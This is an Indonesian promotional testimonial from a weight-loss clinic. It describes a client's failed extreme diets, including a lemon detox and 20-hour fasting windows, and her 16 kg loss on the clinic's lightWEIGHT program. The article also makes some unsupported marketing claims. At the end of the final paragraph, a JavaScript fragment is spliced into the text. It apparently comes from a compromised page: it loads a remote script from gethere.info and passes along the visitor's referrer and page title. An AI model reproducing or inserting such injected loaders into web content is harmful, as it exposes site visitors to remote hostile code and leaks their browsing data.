fbpx

Jalani Diet Ekstrim Hanya Bertahan 2 Bulan, dengan lightWEIGHT Turun 16 kg

Kabar buruk bagi pelaku diet ekstrim yang kemungkinan gagalnya tinggi. Biasanya berat badan naik makin tinggi dan nafsu makan makin tidak terkontrol.

Itulah yang dirasakan Finalis lightWEIGHT Challenge 2014, Jennifer Kosasih. Wiraswasta yang berusia 26 tahun ini sebenarnya tidak pernah percaya dengan diet ekstrim yang bisa menurunkan berat badan dengan cepat. “Kalau turunnya cepat, biasanya naiknya lebih cepat lagi,” ujarnya.

Meskipun demikian, Jennifer tetap mencoba beberapa program penurunan berat badan yang tergolong ekstrim. Ia pernah menjalani anjuran sebuah pusat pelangsingan untuk melakukan detoks tiga hari dengan hanya minum air lemon, lalu dilanjutkan dengan menu makan yang serba buah dan serba rebus. Padahal detoks dan mempersiapkan tubuh untuk mulai berdiet itu beda lho. Seperti yang biasa dijalankan para klien lightHOUSE. Hanya dengan menjalani induksi bisa turun hingga 30 kg lho!

Setelah menjalani program tersebut, Jennifer mengaku nafsu makannya makin tidak terkontrol. “Saya hanya bisa menjalani sebulan, setelah itu craving makanan yang aneh-aneh,” ia menceritakan.  Biasanya, perubahan pola makan yang ekstrim memang dapat membuat nafsu makan makin tidak terkendali, terutama jika tidak ada bantuan dari pakarnya untuk meningkatkan kontrol diri.

Bukan hanya itu, Jennifer juga sempat menjalani Obsessive Corbuzier’s Diet atau OCD. “Saya sempat sampai tahap ekstrim, hanya membuka jendela makan 4 jam, jadi selama 20 jam saya puasa. Ini hanya bertahan selama seminggu. Setelah itu saya menurunkan jadi 6 jam waktu makan. Ini pun tidak lama, hanya bertahan 2 bulan, lalu kembali ke pola makan saya sebelumnya,” dia menjelaskan.

Diet yang dipopulerkan oleh Deddy Corbuzier ini sukses membuat banyak orang penasaran. Metode OCD ini hampir sama seperti puasa. Untuk menjalani pola makan pada diet OCD ada beberapa rentang waktu ‘berpuasa’ yang bisa diikuti, waktu puasa yang diberikan yaitu 16 jam, 18 jam dan 20 jam. 

Pakar kami dr. Grace Judio, MSc. berpendapat, hasil setelah diet OCD tidak serta merta menghasilkan berat badan yang sesuai, yang sering dialami adalah berat badan menjadi yoyo. “Artinya, berat badan cepat naik dan cepat turun. Ini terjadi jika diet OCD yg dilakukan ternyata salah. Diet OCD yang salah dalam hal ini dimaksudkan seperti ‘balas dendam’ saat jam makan diperbolehkan,” ujar dr. Grace.

jp9bnk

Dibutuhkan Motivasi
“Diet-diet ekstrim yang saya ikuti seringnya hanya bertahan dua bulan, setelah itu kembali ke pola makan sebelumnya dan berat badan tidak terkontrol,” ujar Jennifer. Semua berbeda saat dia terpilih menjadi Finalis lightWEIGHT Challenge 2014. Sebagai finalis, ia menjalani program lightWEIGHT selama 12 minggu.

Selama mengikuti program Jennifer berhasil menurunkan berat badan sebanyak 16 kg atau 16,2% dari total berat badannya. Awalnya 99,6 kg dan setelah program selesai berat badan Jennifer menjadi 83,5 kg. Saat ini, ia melanjutkan dengan mengambil program lightWEIGHT lagi. Ia terus mempertahankan gaya hidup sehatnya dengan berolah raga secara rutin, hampir tiap hari.

Menurut Jennifer keberhasilannya menjaga berat badan dan gaya hidup sehatnya ini karena ahli gizi di program lightWEIGHT selalu menyemangati dan mengingatkannya. “Saya gampang merasa bosan dengan sesuatu yang punya ritme atau pola sama. Karena itu, motivasi saya sempat menurun di tengah-tengah program. Saya lupa, apa tujuan awal saya mengikuti program ini,” ujarnya. Di saat inilah peran pakar-pakar lightHOUSE menentukan untuk bisa meningkatkan kembali motivasi klien.

Untungnya, program lightWEIGHT menyediakan sejumlah ahli yang  siap membantu klien dengan segala permasalahannya. Saat klien berkonsultasi dengan ahli gizi, mereka akan menyemangati. Di program lain, menurut Jennifer hanya mewajibkan klien untuk mengikuti instruksi atau memakai produk pelangsing tubuh.

“Dalam program lightWEIGHT saya dilatih untuk mengontrol diri sendiri. Saya diberikan pemahaman mengenai pola hidup sehat yang sesungguhnya. Saya dimotivasi menjadi orang yang lebih sehat, bukan sekadar menjadi orang yang lebih langsing,” Jennifer mejelaskan alasannya. Dan, motivasi itu dilatih dengan berbagai inovasi canggih yang akan membantu Anda memiliki kontrol diri.

Seperti Jennifer, jika Sahabat lightHOUSE mengikuti program ini, akan ada banyak ilmu seputar gaya hidup sehat yang dapat diperoleh. Misalnya saja, mengganti dressing saat makan salad dengan olive oil akan percuma bila jumlahnya tetap banyak. Kalorinya akan tetap besar. “Dulu kalau merasa lapar dan tidak ada makanan, saya biasa ngemil cokelat. Sekarang saya tahu bahwa buah dan sayuran segar adalah pilihan yang lebih baik. Makanlah bila lapar perut, bukan karena bosan atau lapar mata.

Setelah menjalani lightWEIGHT Jennifer mengaku merasa jadi lebih fit. “Dulu saya mudah sekali terserang flu, tapi sekarang tidak lagi. Selama mengikuti program, bobot tubuh berkurang  belasan kilogram. Saya optimis mencapai yang lebih baik berkat bekal dari lightWEIGHT Challenge 2014,” ujarnya senang.

Menarik kan testimoni dari Jennifer ini? Program lightWEIGHT yang dijalaninya juga bisa lho Anda ikuti. Jangan cepat percaya dengan diet ekstrim. Coba lightWEIGHT yang komprehensif, mudah, dan menyenangkan. Sayang lho kalau tidak mencoba.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Copyright © 2022 LIGHThouse. All Rights Reserved.
FAQ